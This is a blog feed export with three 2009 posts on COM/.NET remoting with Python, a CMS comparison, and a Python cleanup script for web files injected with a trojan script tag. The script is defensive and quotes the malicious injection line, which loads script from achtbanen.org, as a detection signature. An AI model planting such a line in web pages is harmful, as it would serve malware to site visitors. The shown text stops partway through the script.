Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2707108039665181350.post-79369460012492945972009-11-13T05:31:00.001-08:002009-11-13T05:31:04.182-08:00.NET remoting via COM and Python<p>I bumped into a problem when trying to talk to C# DLLS that are created by my team while i am using Python. Creating a COM C# DLL is the key to bridge the communication since creating COM  interface via C# is the easiest thing to do compared to C++.</p> <p>Now one of the C# DLLs is loaded as a singleton in Windows Service thus i need my C# COM to talk to the same class via remoting. </p> <p>That is when i kept on encountering “return argument has invalid type”  whenever the remoting part was done. Putting "[Serializable]” into the class declarating did not help. </p> <p>It ran perfectly when the class in the C# dll is used as a local class but it balked whenever the same class was returned via remoting and to me that is just ONE line of change. </p> <p>// MyClass myClass = new ManagerClass()  <--- local class</p> <p>// RemotingReturnMyClass(out myClass) <—remoting </p> <p>I went on to combining the COM class code and the C# singleton DLL in the attempt to create a singleton COM so that the C# singleton class can be accessed via my python code to no avail. </p> <p>After DAYS (yup days) of trying to solve it, i suddenly realize something that i missed. What if i put the C# DLL into c:\python25 since maybe the problem is all about the marshaller and proxy not being able to locate it…….</p> <p>Bingo.</p> Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2707108039665181350.post-43112540368198709812009-11-03T00:11:00.001-08:002009-11-03T00:13:24.897-08:00Plone, Drupal or What?<p>A quick migration of a static website to a CMS version was needed. However one of the requirement is that it must be as ‘non-programmer’ as possible since an assigned web designer will be doing the project. </p> <p>After toying around with Plone, its way too technical and the curve is just too much to even be considered. It is also pretty slow, around 1.3 times slower in a Pentium Celeron with 1GB memory compared to Drupal on a dummy blank site. </p> <p>So Drupal was next in the list and in fact chosen for the job , however as 2 weeks gone by, it was obvious that what we know about Drupal is in fact largely OVERRATED. There are certain theme layouts that doesn’t appear correctly on different browsers, very limited customization without going to php and way too much work for a non-technical person to get it looking nice, not to mentioned that most sites on Drupal looks similar.</p> <p>Finally we stumbled upon SiteFinity by SmarterTools, the condition however was that it had to run on IIS but in this case we had no issues with that since the project doesn’t mind whether its IIS or Apache (who the hell going to modify apache code in the name of open source?) </p> <p>SiteFinity not only blows Drupal to stoneage, more importantly we saved the Web designer guy from committing suicide. For once she was able to get something done. </p> <p>** there is a community version available free for use </p> Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2707108039665181350.post-68215750982975794482009-10-19T10:00:00.001-07:002009-10-19T10:43:45.961-07:00Removing “achtbanen” trojan links<p>Ok so someone got careless and somehow his website files have been replaced with links to a trojan. Each of the html/asp files have been injected with a script “<script src=http://achtbanen.org/images/blah blah blah></script>”</p> <p>I was asked to write a script to clean it up, so here it is, a script injector remover, basically will work on any injected one liner script (modify the signature on “FindThis” in the source yourself), by default will remove this particular achtbanen line.</p> <p>TrjLinkRemove.py</p> <div id="codeSnippetWrapper" style="border-right: silver 1px solid; padding-right: 4px; border-top: silver 1px solid; padding-left: 4px; font-size: 8pt; padding-bottom: 4px; margin: 20px 0px 10px; overflow: auto; border-left: silver 1px solid; width: 148.5%; cursor: text; direction: ltr; max-height: 200px; line-height: 12pt; padding-top: 4px; border-bottom: silver 1px solid; font-family: 'Courier New', courier, monospace; height: 210px; background-color: #f4f4f4; text-align: left"> <div id="codeSnippet" style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"><span style="color: #008000"># Copyright 2009, codemagnet.blogspot.com</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"><span style="color: #008000"># Free to use ;-), just keep this credit comments.</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none">import sys</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none">import os</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none">import nowlog</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none">logfile = nowlog.SetLogConfig(<span style="color: #006080">"removed.log"</span>)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"><span style="color: #006080">""</span><span style="color: #006080">"<script src=http://achtbanen.org/images/b-one-default.php ></script>"</span><span style="color: #006080">""</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none">FindThis = <span style="color: #006080">"<script src=http://achtbanen.org/images"</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none">FindThisJS = <span style="color: #006080">"document.write('<script src=http://"</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none">MaximumIndexTail = 150 <span style="color: #008000"># search 150 off the first found signature</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none">def dirwalk(dir):</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> <span style="color: #006080">"walk a directory tree, using a generator"</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> try :</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">for</span> f in os.listdir(dir):</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> fullpath = os.path.join(dir,f)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">if</span> os.path.isdir(fullpath) <span style="color: #0000ff">and</span> not os.path.islink(fullpath):</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">for</span> x in dirwalk(fullpath): <span style="color: #008000"># recurse into subdir</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> yield x</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">else</span>:</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> yield fullpath </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> except :</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> pass</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none">def CleanFile (filename) :</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">global</span> FindThis</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> try :</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> f = open(filename, <span style="color: #006080">"rb"</span>)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> fb = f.read()</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> f.close()</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> i = fb.find(FindThis) </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">if</span> i == -1 :</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">return</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> <span style="color: #008000"># found</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> o = fb.find(<span style="color: #006080">"</script>"</span>, i+len(FindThis), i+len(FindThis) + MaximumIndexTail)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">if</span> o == -1:</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> logfile.error(<span style="color: #006080">"partial found, ignored, %s"</span>, filename)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">return</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> <span style="color: #008000"># create a new file</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> newfile = filename + <span style="color: #006080">".trj.rmv"</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> p = open(filename + <span style="color: #006080">".trj.rmv"</span>, <span style="color: #006080">"wb"</span>)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> p.write(fb[:i])</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> p.write(fb[o+9:])</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> p.close()</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> os.rename(filename, filename + <span style="color: #006080">".xxxx"</span>)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> os.rename(newfile, filename)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> os.unlink(filename + <span style="color: #006080">".xxxx"</span>)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> logfile.info(<span style="color: #006080">"Cleaning : %s"</span>, filename) </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> except :</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> logfile.error(<span style="color: #006080">"unable to open file %s"</span>, filename)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">return</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"><span style="color: #008000">#-------------------------------------------------------------------------#</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none">def CleanFileJS (filename) :</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">global</span> FindThis</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> try :</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; 